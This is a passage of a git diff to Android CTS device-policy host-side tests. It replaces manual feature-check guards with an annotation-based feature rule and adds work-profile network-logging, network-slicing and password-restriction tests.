+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .build());
     }
 
     @Test
     public void testFactoryResetProtectionPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceFeatureUtils",
                     "testHasFactoryResetProtectionPolicy", mUserId);
@@ -271,9 +239,6 @@
 
     @Test
     public void testCommonCriteriaMode() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".CommonCriteriaModeTest", mUserId);
     }
 
@@ -281,18 +246,11 @@
     @Test
     @Ignore("b/145932189")
     public void testSystemUpdatePolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".systemupdate.SystemUpdatePolicyTest", mUserId);
     }
 
     @Test
     public void testInstallUpdate() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         pushUpdateFileToDevice("notZip.zi");
         pushUpdateFileToDevice("empty.zip");
         pushUpdateFileToDevice("wrongPayload.zip");
@@ -303,9 +261,8 @@
 
     @Test
     public void testInstallUpdateLogged() throws Exception {
-        if (!mHasFeature || !isDeviceAb() || !isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeIsDeviceAb();
+
         pushUpdateFileToDevice("wrongHash.zip");
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".systemupdate.InstallUpdateTest",
@@ -322,9 +279,6 @@
     @FlakyTest(bugId = 137093665)
     @Test
     public void testSecurityLoggingWithSingleUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Backup stay awake setting because testGenerateLogs() will turn it off.
         final String stayAwake = getDevice().getSetting("global", "stay_on_while_plugged_in");
         try {
@@ -367,9 +321,6 @@
 
     @Test
     public void testSecurityLoggingEnabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".SecurityLoggingTest", "testEnablingSecurityLogging");
             executeDeviceTestMethod(".SecurityLoggingTest", "testDisablingSecurityLogging");
@@ -385,9 +336,7 @@
 
     @Test
     public void testSecurityLoggingWithTwoUsers() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
 
         final int userId = createUser();
         try {
@@ -406,12 +355,32 @@
 
     @Test
     public void testLocationPermissionGrantNotifies() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppPermissionAppAsUser();
         configureNotificationListener();
-        executeDeviceTestMethod(".PermissionsTest", "testUserNotifiedOfLocationPermissionGrant");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateGranted_userNotifiedOfLocationPermission");
+    }
+
+    @Override
+    @Ignore("b/158735247")
+    @Test
+    public void testAdminControlOverSensorPermissionGrantsDefault() throws Exception {
+        // In Device Owner mode, by default, admin should be able to grant sensors-related
+        // permissions.
+        executeDeviceTestMethod(".SensorPermissionGrantTest",
+                "testAdminCanGrantSensorsPermissions");
+    }
+
+    @Override
+    @Test
+    public void testGrantOfSensorsRelatedPermissions() throws Exception {
+        // Skip for now, re-enable when the code path sets DO as able to grant permissions.
+    }
+
+    @Override
+    @Test
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        // Skip for now, re-enable when the code path sets DO as able to grant permissions.
     }
 
     private void configureNotificationListener() throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
index 0e9ae3e..d22ca5f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
@@ -29,26 +29,23 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setDeviceOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set device owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setDeviceOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set device owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-        }
+        assertTrue("Failed to remove device owner",
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+
         super.tearDown();
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 659b07e..4924f00 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -16,24 +16,33 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.annotations.LockSettingsTest;
 import com.android.cts.devicepolicy.annotations.PermissionsTest;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
 import org.junit.Test;
 
+import java.util.ArrayList;
+import java.util.List;
+
 /**
  * Set of tests for managed profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class MixedManagedProfileOwnerTest extends DeviceAndProfileOwnerTest {
 
     private static final String CLEAR_PROFILE_OWNER_NEGATIVE_TEST_CLASS =
             DEVICE_ADMIN_PKG + ".ClearProfileOwnerNegativeTest";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
+
+    private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
 
     private int mParentUserId = -1;
 
@@ -41,14 +50,9 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            mParentUserId = mPrimaryUserId;
-            createManagedProfile();
-        }
+        removeTestUsers();
+        mParentUserId = mPrimaryUserId;
+        createManagedProfile();
     }
 
     private void createManagedProfile() throws Exception {
@@ -63,9 +67,8 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mUserId);
-        }
+        removeUser(mUserId);
+
         super.tearDown();
     }
 
@@ -78,9 +81,6 @@
     @LargeTest
     @Test
     public void testScreenCaptureDisabled_allowedPrimaryUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // disable screen capture in profile
         setScreenCaptureDisabled(mUserId, true);
 
@@ -93,9 +93,6 @@
     @FlakyTest
     @Test
     public void testScreenCaptureDisabled_assist_allowedPrimaryUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // disable screen capture in profile
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", "testSetScreenCaptureDisabled_true");
         try {
@@ -137,6 +134,11 @@
         // and profile owners on the primary user.
     }
 
+    @Test
+    public void testSetGetNetworkSlicingStatus() throws Exception {
+        executeDeviceTestMethod(".NetworkSlicingStatusTest", "testGetSetNetworkSlicingStatus");
+    }
+
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @FlakyTest
     @Override
@@ -185,9 +187,8 @@
     @LockSettingsTest
     @Test
     public void testResetPasswordWithToken() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Execute the test method that's guaranteed to succeed. See also test in base class
         // which are tolerant to failure and executed by MixedDeviceOwnerTest and
         // MixedProfileOwnerTest
@@ -222,9 +223,6 @@
 
     @Test
     public void testCannotClearProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, CLEAR_PROFILE_OWNER_NEGATIVE_TEST_CLASS, mUserId);
     }
 
@@ -237,9 +235,6 @@
 
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         setUpDelegatedCertInstallerAndRunTests(() -> {
             runDeviceTestsAsUser("com.android.cts.certinstaller",
                     ".DelegatedDeviceIdAttestationTest",
@@ -248,11 +243,9 @@
             // OrgOwnedProfileOwnerTest#testDelegatedCertInstallerDeviceIdAttestation
         });
     }
+
     @Test
     public void testDeviceIdAttestationForProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Test that Device ID attestation for the profile owner does not work without grant.
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdAttestationTest",
                 "testFailsWithoutProfileOwnerIdsGrant", mUserId);
@@ -263,9 +256,6 @@
     @Test
     @Override
     public void testSetKeyguardDisabledFeatures() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".KeyguardDisabledFeaturesTest",
                 "testSetKeyguardDisabledFeatures_onParentSilentIgnoreWhenCallerIsNotOrgOwnedPO",
                 mUserId);
@@ -299,7 +289,6 @@
     }
 
     @Override
-    @FlakyTest
     @PermissionsTest
     @Test
     public void testPermissionGrant() throws Exception {
@@ -307,7 +296,6 @@
     }
 
     @Override
-    @FlakyTest
     @PermissionsTest
     @Test
     public void testPermissionMixedPolicies() throws Exception {
@@ -323,7 +311,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionPolicy() throws Exception {
         super.testPermissionPolicy();
@@ -338,7 +325,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionAppUpdate() throws Exception {
         super.testPermissionAppUpdate();
@@ -346,7 +332,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
         super.testPermissionGrantPreMApp();
@@ -354,7 +339,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
             throws Exception {
@@ -399,23 +383,73 @@
 
     @Test
     public void testWifiMacAddress() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
-            return;
-        }
+        assumeHasWifiFeature();
 
         runDeviceTestsAsUser(
                 DEVICE_ADMIN_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mUserId);
     }
 
-    //TODO(b/130844684): Remove when removing profile owner on personal device access to device
-    // identifiers.
+    @Override
+    @LockSettingsTest
     @Test
-    public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+    public void testSecondaryLockscreen() throws Exception {
+        // Managed profiles cannot have secondary lockscreens set.
+    }
 
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
-                "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
+    @Test
+    public void testNetworkLogging() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        testNetworkLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".NetworkLoggingTest");
+    }
+
+    @Test
+    public void testNetworkLoggingDelegate() throws Exception {
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        try {
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".WorkProfileNetworkLoggingDelegateTest",
+                    "testCannotAccessApis", mUserId);
+            // Set network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_delegationNetworkLogging", mUserId);
+
+            testNetworkLoggingOnWorkProfile(DELEGATE_APP_PKG,
+                    ".WorkProfileNetworkLoggingDelegateTest");
+        } finally {
+            // Remove network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_noDelegation", mUserId);
+        }
+    }
+
+    private void testNetworkLoggingOnWorkProfile(String packageName, String testClassName)
+            throws Exception {
+        try {
+            // Turn network logging on.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_true", mUserId);
+
+            // Connect to websites from work profile, should be logged.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testConnectToWebsites_shouldBeLogged", mUserId);
+            // Connect to websites from personal profile, should not be logged.
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testConnectToWebsites_shouldNotBeLogged", mPrimaryUserId);
+
+            // Verify all work profile network logs have been received.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs", mUserId);
+        } finally {
+            // Turn network logging off.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_false", mUserId);
+        }
+    }
+
+    @Override
+    List<String> getAdditionalDelegationScopes() {
+        final List<String> result = new ArrayList<>();
+        result.add(DELEGATION_NETWORK_LOGGING);
+        return result;
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 8688335..a09a232 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -16,9 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
-import android.platform.test.annotations.FlakyTest;
-import android.platform.test.annotations.LargeTest;
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.annotations.PermissionsTest;
 
 import org.junit.Test;
@@ -27,22 +27,18 @@
  * Set of tests for managed profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class MixedManagedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
-
     private int mParentUserId = -1;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            mParentUserId = mPrimaryUserId;
-            createManagedProfile();
-        }
+        removeTestUsers();
+        mParentUserId = mPrimaryUserId;
+        createManagedProfile();
     }
 
     private void createManagedProfile() throws Exception {
@@ -57,9 +53,8 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mUserId);
-        }
+        removeUser(mUserId);
+
         super.tearDown();
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
new file mode 100644
index 0000000..100dbf5
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+
+import org.junit.Test;
+
+/**
+ * Set of tests for managed profile owner use cases that may also apply to device owner.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi30.
+ */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
+public class MixedManagedProfileOwnerTestApi30 extends DeviceAndProfileOwnerTestApi30 {
+    private int mParentUserId = -1;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        removeTestUsers();
+        mParentUserId = mPrimaryUserId;
+        createManagedProfile();
+    }
+
+    private void createManagedProfile() throws Exception {
+        mUserId = createManagedProfile(mParentUserId);
+        switchUser(mParentUserId);
+        startUserAndWait(mUserId);
+
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+        startUserAndWait(mUserId);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeUser(mUserId);
+
+        super.tearDown();
+    }
+
+    @Test
+    public void testPasswordMinimumRestrictions() throws Exception {
+        assumeHasSecureLockScreenFeature();
+
+        executeDeviceTestClass(".PasswordMinimumRestrictionsTest");
+    }
+
+    @Test
+    public void testPasswordComplexityAndQuality() throws Exception {
+        assumeHasSecureLockScreenFeature();
+
+        executeDeviceTestClass(".PasswordQualityAndComplexityTest");
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
index 68a09cc..f3465c7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+
 /**
  * Tests the DPC transfer functionality for profile owner. Testing is done by having two test DPCs,
  * CtsTransferOwnerOutgoingApp and CtsTransferOwnerIncomingApp. The former is the current DPC
@@ -22,22 +26,21 @@
  * process, first we setup some policies in the client side in CtsTransferOwnerOutgoingApp and then
  * we verify the policies are still there in CtsTransferOwnerIncomingApp.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class MixedProfileOwnerHostSideTransferTest extends
         DeviceAndProfileOwnerHostSideTransferTest {
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-        if (mHasFeature) {
-            int profileOwnerUserId = setupManagedProfile(TRANSFER_OWNER_OUTGOING_APK,
-                    TRANSFER_OWNER_OUTGOING_TEST_RECEIVER);
-            if (profileOwnerUserId != -1) {
-                setupTestParameters(profileOwnerUserId, TRANSFER_PROFILE_OWNER_OUTGOING_TEST,
-                        TRANSFER_PROFILE_OWNER_INCOMING_TEST);
-                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, mUserId);
-            }
+
+        int profileOwnerUserId = setupManagedProfile(TRANSFER_OWNER_OUTGOING_APK,
+                TRANSFER_OWNER_OUTGOING_TEST_RECEIVER);
+        if (profileOwnerUserId != -1) {
+            setupTestParameters(profileOwnerUserId, TRANSFER_PROFILE_OWNER_OUTGOING_TEST,
+                    TRANSFER_PROFILE_OWNER_INCOMING_TEST);
+            installAppAsUser(TRANSFER_OWNER_INCOMING_APK, mUserId);
         }
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index 6ec9ac8..389fc13 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -22,6 +22,7 @@
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
 
+import org.junit.Ignore;
 import org.junit.Test;
 
 /**
@@ -34,26 +35,23 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setProfileOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set profile owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setProfileOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
+        assertTrue("Failed to remove profile owner.",
                     removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-        }
+
         super.tearDown();
     }
 
@@ -80,6 +78,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTaskAfterReboot() throws Exception {
         super.testLockTaskAfterReboot();
@@ -87,6 +86,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
         super.testLockTaskAfterReboot_tryOpeningSettings();
@@ -94,6 +94,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask_exitIfNoLongerAllowed() throws Exception {
         super.testLockTask_exitIfNoLongerAllowed();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
index b186c20..179e505 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
@@ -29,26 +29,23 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setProfileOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set profile owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setProfileOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-        }
+        assertTrue("Failed to remove profile owner.",
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+
         super.tearDown();
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index 3c2440d..a05eab1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -16,9 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_COMPONENT_FLATTENED;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -29,6 +29,7 @@
 import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
@@ -38,11 +39,16 @@
 /**
  * Tests for organization-owned Profile Owner.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class OrgOwnedProfileOwnerTest extends BaseDevicePolicyTest {
     private static final String DEVICE_ADMIN_PKG = DeviceAndProfileOwnerTest.DEVICE_ADMIN_PKG;
     private static final String DEVICE_ADMIN_APK = DeviceAndProfileOwnerTest.DEVICE_ADMIN_APK;
     private static final String CERT_INSTALLER_PKG = DeviceAndProfileOwnerTest.CERT_INSTALLER_PKG;
     private static final String CERT_INSTALLER_APK = DeviceAndProfileOwnerTest.CERT_INSTALLER_APK;
+    private static final String DELEGATE_APP_PKG = DeviceAndProfileOwnerTest.DELEGATE_APP_PKG;
+    private static final String DELEGATE_APP_APK = DeviceAndProfileOwnerTest.DELEGATE_APP_APK;
+    private static final String LOG_TAG_PROFILE_OWNER = "profile-owner";
 
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             DeviceAndProfileOwnerTest.ADMIN_RECEIVER_TEST_CLASS;
@@ -74,13 +80,8 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            createManagedProfile();
-        }
+        removeTestUsers();
+        createManagedProfile();
     }
 
     private void createManagedProfile() throws Exception {
@@ -108,18 +109,11 @@
 
     @Test
     public void testCannotRemoveManagedProfile() throws DeviceNotAvailableException {
-        if (!mHasFeature) {
-            return;
-        }
-
         assertThat(getDevice().removeUser(mUserId)).isFalse();
     }
 
     @Test
     public void testCanRelinquishControlOverDevice() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", "testSetAndGetLockInfo",
                 mUserId);
 
@@ -140,36 +134,23 @@
 
     @Test
     public void testLockScreenInfo() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
